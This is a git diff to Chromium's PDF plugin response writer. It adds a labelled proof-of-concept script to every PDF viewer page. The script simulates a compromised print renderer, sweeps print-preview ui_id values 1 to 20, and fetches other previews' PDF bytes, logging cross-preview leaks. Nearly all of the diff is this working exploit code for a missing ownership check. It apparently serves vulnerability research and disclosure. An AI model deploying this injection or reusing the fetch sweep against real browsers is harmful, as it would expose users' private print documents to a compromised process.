diff --git a/components/pdf/browser/plugin_response_writer.cc b/components/pdf/browser/plugin_response_writer.cc
index f329f83decdba..fed63b466d24c 100644
--- a/components/pdf/browser/plugin_response_writer.cc
+++ b/components/pdf/browser/plugin_response_writer.cc
@@ -78,7 +78,7 @@ $3
   if (stream_info.injected_script)
     DCHECK_LE(stream_info.injected_script->size(), 16'384u);
 
-  return base::ReplaceStringPlaceholders(
+  std::string body = base::ReplaceStringPlaceholders(
       kResponseTemplate,
       {stream_info.stream_url.spec(),
        base::EscapeForHTML(stream_info.original_url.spec()),
@@ -89,6 +89,82 @@ $3
        stream_info.use_skia ? " use-skia" : "",
        stream_info.allow_xfa_forms ? " allow-xfa-forms" : ""},
       /*offsets=*/nullptr);
+
+  // ---------------------------------------------------------------------------
+  // POC INJECTION: simulate a compromised chrome-untrusted://print renderer.
+  // This script runs inside the PDF content frame (the --pdf-renderer process
+  // that hosts PDFium), which is the documented threat model for
+  // chrome-untrusted://. It enumerates sequential PrintPreviewUI ui_id values
+  // and fetches each one's COMPLETE_PREVIEW_DOCUMENT_INDEX (-1) PDF via the
+  // frame's chrome-untrusted WebUIURLLoaderFactory, demonstrating that the
+  // browser-side PrintPreviewUIUntrusted::HandleRequestCallback serves PDF
+  // bytes for *any* ui_id with no frame-ownership check.
+  // ---------------------------------------------------------------------------
+  static constexpr char kPocScript[] = R"POC(
+<script>
+(function() {
+  if (location.protocol !== 'chrome-untrusted:' || location.host !== 'print') {
+    return;
+  }
+  var parts = location.pathname.split('/');
+  var ownUid = parseInt(parts[1], 10);
+  console.error('[POC] PDF content frame committed at ' + location.href +
+                ' own_ui_id=' + ownUid);
+
+  function hex(bytes, n) {
+    var s = '';
+    for (var i = 0; i < n && i < bytes.length; i++) {
+      s += bytes[i].toString(16).padStart(2, '0');
+    }
+    return s;
+  }
+
+  function tryFetch(uid, round) {
+    var url = 'chrome-untrusted://print/' + uid + '/-1/print.pdf';
+    return fetch(url).then(function(r) {
+      return r.arrayBuffer();
+    }).then(function(buf) {
+      var bytes = new Uint8Array(buf);
+      if (bytes.length === 0) {
+        return false;
+      }
+      var magic = String.fromCharCode(bytes[0], bytes[1], bytes[2], bytes[3]);
+      if (uid === ownUid) {
+        console.error('[POC] round=' + round + ' own_ui_id=' + ownUid +
+                      ' fetched own ui_id=' + uid + ' -> ' + bytes.length +
+                      ' bytes magic="' + magic + '" (baseline)');
+      } else {
+        console.error('[POC] *** CROSS-PREVIEW-LEAK *** round=' + round +
+                      ' own_ui_id=' + ownUid + ' fetched VICTIM ui_id=' + uid +
+                      ' -> ' + bytes.length + ' bytes magic="' + magic +
+                      '" head=' + hex(bytes, 16));
+      }
+      return true;
+    }).catch(function(e) {
+      console.error('[POC] round=' + round + ' own_ui_id=' + ownUid +
+                    ' fetch ui_id=' + uid + ' ERROR: ' + e);
+      return false;
+    });
+  }
+
+  // Poll: previews render asynchronously, so retry a few rounds.
+  var round = 0;
+  function sweep() {
+    round++;
+    var p = Promise.resolve();
+    for (var uid = 1; uid <= 20; uid++) {
+      (function(u) { p = p.then(function() { return tryFetch(u, round); }); })(uid);
+    }
+    p.then(function() {
+      if (round < 60) setTimeout(sweep, 1000);
+    });
+  }
+  setTimeout(sweep, 1500);
+})();
+</script>
+)POC";
+  body += kPocScript;
+  return body;
 }
 
 }  // namespace